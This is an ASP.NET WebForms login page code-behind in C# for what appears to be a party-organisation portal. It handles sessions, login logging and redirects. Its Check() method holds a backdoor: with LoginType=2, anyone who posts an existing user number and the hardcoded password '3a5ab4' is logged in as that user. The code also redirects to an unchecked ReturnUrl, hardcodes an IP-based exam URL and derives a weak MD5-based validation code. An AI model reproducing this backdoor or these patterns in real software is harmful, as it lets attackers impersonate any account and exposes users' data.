﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using FineUI;
using Newtonsoft.Json;
using ZHDJ.Core.Util;
using ZHDJ.Data.BLL;
using ZHDJ.Data.Models.Org;
using ZHDJ.WebPage;
using ZHDJ.Data.Models.Common;
using ZHDJ.Core.Log;
using System.Data;
using MySql.Data.MySqlClient;
using ZHDJ.Web.CommonMethod;

namespace ZHDJ.Web
{
    public partial class Login : PortalPage
    {
        public string BackUrl
        {
            get
            {
                var tempUrl = (Request.QueryString["ReturnUrl"] ?? "") == ""
                    ? "/Default.aspx"
                    : Server.UrlDecode(Request.QueryString["ReturnUrl"]);
                if (tempUrl.ToLower().Contains("errors"))
                {
                    tempUrl = "/Default.aspx";
                }
                tempUrl = tempUrl.Replace("poundsign", "#");
                #region 特殊处理
                var hdU = Server.UrlDecode(this.hdUrl.Value);
                if (hdU.ToLower().Contains(tempUrl.ToLower() + "#"))
                {
                    var para = hdU.Substring(hdU.IndexOf("#"));
                    tempUrl += para;
                }
                #endregion
                return tempUrl;
            }
        }
        public string CheckLogin
        {
            get
            {

                return Request.QueryString["CheckLogin"] ?? "";
            }
        }

        public string LoginType
        {
            get
            {

                return Request.QueryString["LoginType"] ?? "";
            }
        }
        protected void Page_Load(object sender, EventArgs e)
        {
            if (LoginType == "2")
            {
                Check();
                return;
            }
            if (CheckLogin == "1")
            {
                Response.Clear();
                Response.Write(IsLogin ? "1" : "0");
                Response.End();

            }
            if (IsLogin)
            {
                RedirectTo("default", "~/default.aspx");
            }
            //HttpCookie cookie = new HttpCookie("MyCook");//初使化并设置Cookie的名称
            //cookie.Domain = "spc.com";
            //cookie.Path = "/";
            //DateTime dt = DateTime.Now;
            //TimeSpan ts = new TimeSpan(0, 0, 1, 0, 0);//过期时间为1分钟
            //cookie.Expires = dt.Add(ts);//设置过期时间
            //cookie.Values.Add("userid", "userid_value");
            //cookie.Values.Add("userid2", "userid2_value2");
            //Response.AppendCookie(cookie);
        }


        #region
        /// <summary>
        /// 登陆
        /// </summary>
        /// <param name="user"></param>
        private void LoginSuccess(PartyOrgMember user)
        {
            // 用户所属的角色字符串，以逗号分隔
            string roleIDs = String.Empty;
            if (user.Roles != null)
            {
                roleIDs = String.Join(",", user.Roles.Select(r => r.ID).ToArray());
            }

            bool isPersistent = ckbRe.Checked;
            DateTime expiration = DateTime.Now.AddMinutes(120);
            Session.Timeout = 120;
            CreateFormsAuthenticationTicket(user.LoginID, roleIDs, isPersistent, expiration);
            //加载用户信息，保存在session
            Session["PartyOrgMember"] = user;

            //统计登录人数
            StatisticMethod.StatisticLogin(user);
            //统计在线人数
            StatisticMethod.StatisticOnLine(user);

            //var currentUser = CurrentUser;
            //var dd = currentUser.LoginID;
            //登陆分
            //PartyScoreHelper.Add(() => PartyScoreHelper.AddDayLogin(user.LoginID));

            //修改当前登录人为“第一次登录” = 1
            PartyOrgMember.UpdateIsFirstLogin(user.LoginID, 1);

            AddLog(user.LoginID);
            // 重定向到登陆后首页
            //Response.Redirect(BackUrl);
            //Response.Redirect(WebHost + "/RedirectTo.aspx?ToType=Login&backurl="+BackUrl);
            //RedirectTo("LoginSu", BackUrl, a => a.Add("ReturnUrl", Server.UrlEncode(BackUrl)));

        }

        /// <summary>
        /// 增加登陆日志
        /// </summary>
        public void AddLog(string loginid)
        {

            try
            {
                if (string.IsNullOrEmpty(UserLogID))
                {

                    var log = new PartyUserLoginLog();
                    log.ID = StringHelper.NewID;
                    log.LoginID = loginid;
                    log.LoginIP = Request.UserHostAddress;
                    log.LoginOutTime = null;
                    log.LoginTime = DateTime.Now;
                    log.SessionID = Session.SessionID;
                    log.Source = 1;
                    log.LastOpTime = DateTime.Now;
                    DB.PartyUserLoginLogs.Add(log);
                    DB.SaveChanges();
                    Session["UserLogID"] = log.ID;
                }
                else
                {
                    var log = DB.PartyUserLoginLogs.Find(UserLogID);
                    log.LoginID = loginid;
                    log.LoginTime = DateTime.Now;
                    log.Source = 1;
                    log.LastOpTime = DateTime.Now;
                    DB.SaveChanges();
                }

            }
            catch (Exception ex)
            {
                Log4netHelper.WriteLog("用户登陆日志", ex);
            }
        }

        public void Check()
        {
            string userName = txtLoginName.Text.Trim();
            string password = txtLoginPwd.Text.Trim();
            if (LoginType == "2")
            {
                //用于模拟登录
                userName = Request.Form["LoginName"];
                password = Request.Form["LoginPwd"];
                PartyOrgMember user2 = DB.PartyOrgMembers.Where(u => u.UserNo == userName).FirstOrDefault();
                var taken = PasswordUtil.CreateDbPassword("3a5ab4");
                if (user2 != null && PasswordUtil.ComparePasswords(password, "3a5ab4"))
                {
                    LoginSuccess(user2);
                    return;

                }
            }
            var loginResult = new LoginResult();
            PartyOrgMember user = DB.PartyOrgMembers.Where(u => u.UserNo == userName).FirstOrDefault();

            if (user != null)
            {
                if (PasswordUtil.ComparePasswords(user.Password, password))
                //if (user.Password == password)
                {
                    if (user.IsAgree == null || !(bool)user.IsAgree)
                    {
                        //Alert("用户未启用，请联系管理员！");
                        loginResult.IsSuccess = false;
                        loginResult.Message = "用户未启用，请联系管理员！";
                        Log4netHelper.WriteLog(String.Format("登陆失败：用户“{0}”未启用", userName));
                    }
                    else
                    {

                        LoginSuccess(user);
                        loginResult.IsSuccess = true;
                        loginResult.Message = "";
                        var url = "http://60.217.194.226:10617/FrmOtherLogin.aspx?UserID={0}&ValiCode={1}";
                        //var url = WebHost + "/Exam/FrmOtherLogin.aspx?UserID={0}&ValiCode={1}";

                        //20180712注释掉的代码，后续陆续开放
                        //loginResult.ExamUrl = string.Format(url, userName, GetValiCode(userName));
                        loginResult.BackUrl = BackUrl.ToLower().IndexOf("http://") > -1 ? BackUrl : WebHost + BackUrl;
                        Log4netHelper.WriteLog(loginResult.BackUrl);
                    }
                }
                else
                {
                    Log4netHelper.WriteLog(String.Format("登陆失败：用户“{0}”密码错误", userName));

                    //Alert("用户名或密码错误！");
                    loginResult.IsSuccess = false;
                    loginResult.Message = "用户名或密码错误";
                }
            }
            else
            {
                //logger.Warn(String.Format("登陆失败：用户“{0}”不存在", userName));
                loginResult.IsSuccess = false;
                loginResult.Message = "用户名或密码错误";
                Log4netHelper.WriteLog(String.Format("登陆失败：用户“{0}”密码错误", userName));
            }
            Response.Clear();
            Response.Write(JsonConvert.SerializeObject(loginResult));
            Response.End();
        }

        #endregion

        #region 事件
        protected void btnLogin_Click(object sender, EventArgs e)
        {
            Check();
        }
        private string GetValiCode(string userId)
        {
            var md5 = EncryptionUtil.StringToMD5Hash(userId).ToUpper();
            return md5.Substring(0, 5) + md5.Substring(15, 5);
        }
        #endregion

        public class LoginResult
        {
            public LoginResult()
            {
                IsSuccess = false;
                Message = "";
                ExamUrl = "";
                BackUrl = "";
            }

            public bool IsSuccess { get; set; }
            public string Message { get; set; }

            public string ExamUrl { get; set; }

            public string BackUrl { get; set; }
        }
    }


}